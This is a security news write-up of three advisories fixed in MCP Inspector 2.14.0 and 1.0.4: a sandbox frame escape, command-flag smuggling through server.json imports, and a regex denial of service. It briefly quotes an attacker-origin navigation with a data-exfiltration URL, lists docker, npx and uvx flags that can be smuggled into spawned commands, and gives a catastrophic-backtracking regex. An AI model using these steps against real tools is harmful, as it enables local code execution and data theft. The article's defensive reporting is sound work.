The Workbench Is the Attack Surface: MCP Inspector 2.14.0 Fixes a Sandbox Escape, a server.json Command Smuggle, and a Schema ReDoS

Late on 4 November 2026, the Model Context Protocol Inspector shipped 2.14.0 for the v2 line and 1.0.4 for the deprecated v1 line — both pure security releases. Between them they close three vulnerabilities reported privately against v2, published as repository advisories across 4–5 November: a sandbox escape that let a rendered MCP App sail its own frame to an attacker origin while keeping the host bridge open, a server.json import path that spliced unvalidated runtime flags into locally spawned commands behind a UI preview that hid the evidence, and a regular-expression denial of service triggered by a malicious server’s tool schema. None of the three carries a CVE. All three target the developer’s own workbench — the tool you point at servers you do not trust yet.

That last sentence is the threat model worth keeping in mind throughout. The Inspector exists to connect to unknown MCP servers on purpose. Every flaw below is reachable by the far end of a connection the operator initiated deliberately, which is exactly why workbench bugs convert so efficiently into operator compromise. Two weeks ago we covered the October batch — two critical remote-to-local executions via the OAuth callback and the MCP App proxy token (November 2026). This batch is lower severity on paper and arguably more instructive in practice: each fix corrects an assumption about a browser or platform primitive that turned out to be wrong.

A sandboxed frame that could sail itself to the attacker

GHSA-h9j8-vj8g-v3gg (medium, CVSS 3.1 6.1, AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, CWE-693 and CWE-940) affects @modelcontextprotocol/inspector from 2.0.0 through 2.13.0, patched in 2.14.0. On the default opaque-origin (srcdoc) path, an MCP App could execute location.href = "https://attacker/..." and its frame would leave — while the sandbox flags persisted across the navigation, so the attacker page still had a null origin and still passed the proxy’s event.source === inner.contentWindow check. The proxy then kept relaying host-to-app messages with targetOrigin "*".

The advisory’s root-cause note is the kind of detail that earns its keep: a code comment beside the relay claimed a srcdoc frame could not navigate without allow-top-navigation — but that flag governs the top window, not the frame itself. And CSP did not save anyone: the reproduction used the shipped clients/web/static/sandbox_proxy.html with a CSP of connect-src 'none'; form-action 'none', and the attacker origin still received /evil.html?exfil=secret-from-app (data out despite connect-src 'none'), then received the host’s next ui/notifications/tool-result — including private tool output — while the host accepted a tools/call the attacker page posted, relayed as though the app had sent it. The per-app connectDomains allowlist a reviewer relies on is, in the advisory’s words, not an egress boundary. The fix makes the proxy enforce a frame policy built from the app’s approved CSP grants: when the frame starts to leave the document the host loaded, it closes the relay, removes the frame, and tells the host why.

The import dialog that hid the command it was about to run

GHSA-rwv7-mh2c-ff2p (medium, no CVSS score assigned, CWE-20, CWE-79 and CWE-88), same affected range and patch, is three weaknesses sharing one advisory — and the first of the three is the one to brief your team on. In core/mcp/import/serverJson.ts, runtimeArguments from an imported server.json document were spliced directly into the spawned stdio command arguments (npx, uvx, docker run, dnx) ahead of runtime.ref, with no flag filtering — and identifier itself was never checked for a leading - or separated by --. Meanwhile the UI’s raw-JSON preview automatically collapsed after 1000 milliseconds and displayed only ${registryType}: ${identifier} (${runtimeHint}), or hid the package selector entirely for single-package documents — never showing the resolved command and args before the user clicked Import & Save. An imported file could therefore pass arbitrary runtime flags (-c / --call to npx, --from / --index-url to uvx, --privileged / -v to docker run) while displaying a benign package identifier. That is a local command-execution primitive gift-wrapped in a shareable config file.

The advisory’s other two findings share a theme of inconsistent validation between sibling code paths. ElicitationUrlModalBody passed request.params.url straight to window.open(url, "_blank", "noopener,noreferrer") with no http: / https: scheme check — while two other components in the same codebase (isHttpUrl in the app bridge factory, validateElicitationUrl in the mcpdo sanitizer) both enforce one. And wrapHtmlWithCsp injected the <meta http-equiv="Content-Security-Policy"> tag with a /<head([^>]*)>/i regex replacement, which lands the policy tag inside an HTML comment whenever the document contains <!-- <head> --> before the real <head> — while wrapSandboxedHtml in sandbox-csp.ts does it correctly. Per the 2.14.0 release notes, the import flow now shows the exact command before it is saved and rejects packages with invalid or empty environment-variable names or unsafe tokens, URL elicitations open only http(s) with anything else refused and a reason given, and the HTML preview’s CSP now precedes all document markup.

A regex from the server, executed on your UI thread

GHSA-2fw8-7jmw-r937 (medium, CVSS 3.1 6.5, AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H, CWE-1333) is the only one of the three that also affects the deprecated v1 line (<= 1.0.3, fixed in 1.0.4). After a user calls a tool on a malicious MCP server, the server can return a result that triggers catastrophic backtracking in its advertised outputSchema.pattern — and the Inspector validates that result synchronously on the UI path, compiling and executing the server-supplied validator via AjvJsonSchemaValidator with no complexity limit or timeout. The advisory’s bounded local tests with AJV 8.20.0 show the expected nonlinear curve: tens to hundreds of milliseconds at 20–26 characters of near-match input against a classic ^(a+)+$ pattern, with longer inputs becoming practical stalls. Any tool call against a hostile server is a UI freeze the operator cannot distinguish from a slow tool.

The v1 backport is where the remediation gets interesting rather than merely patched. In 1.0.4, server-supplied pattern regexes are no longer evaluated at all: patterns in a tool’s output schema and in an elicitation’s requested schema are stripped before validation, including patterns reachable through $ref, and the elicitation form no longer passes them to the browser’s own field validation — with the validation result reporting which checks were skipped. Stripping rather than sandboxing is the honest fix here: a developer tool has no business executing attacker-authored regexes on its own thread, and “which checks were skipped” preserves the audit trail instead of silently weakening validation.

What to do

  • Upgrade the workbench, not just the servers. npx @modelcontextprotocol/inspector@latest (2.14.0) or, if you are pinned to the deprecated line, @v1-latest (1.0.4). Inspector instances live on developer laptops and shared jump hosts — inventory them like production software, because after this batch they demonstrably are attack surface.
  • Treat server.json imports as code execution. Review the exact resolved command before importing registries or shared config files, and distrust any import flow — in any tool — that shows you an identifier where it should show you a command line.
  • Stop assuming CSP is an egress boundary for framed content. The frame-navigation finding is a concrete counterexample to append to your next sandbox review: navigation is not exfiltration-shaped traffic, and connect-src 'none' does not see it happen.
  • Watch repository advisories, not CVE feeds, for this project. All three advisories carry GHSA identifiers only, with no CVE assigned. If your detection pipeline starts at the CVE feed, this entire batch is invisible to it — the same distribution gap we measured in the MCP SDK advisory coverage and the October Inspector batch.

Verification note: every figure above was read from primary sources. We retrieved GHSA-h9j8-vj8g-v3gg (published 2026-11-05T00:28:41Z, medium, CVSS 3.1 6.1, CWE-693/CWE-940, affected ≥2.0.0 ≤2.13.0, patched 2.14.0), GHSA-rwv7-mh2c-ff2p (published 2026-11-05T00:29:00Z, medium, no CVSS score, CWE-20/CWE-79/CWE-88, same range and patch) and GHSA-2fw8-7jmw-r937 (published 2026-11-04T23:44:10Z, medium, CVSS 3.1 6.5, CWE-1333, v2 range plus v1 ≤1.0.3, patched 2.14.0 and 1.0.4) through the GitHub REST per-repository advisory endpoints for modelcontextprotocol/inspector, and the 2.14.0 (published 2026-11-04T23:55:33Z) and 1.0.4 (published 2026-11-04T23:28:28Z) release notes through the GitHub releases API. All three advisories carry GHSA identifiers only; none has a CVE. We did not run the Inspector, connect it to any server, import any configuration, or attempt any of the described proof-of-concept steps.

Sources: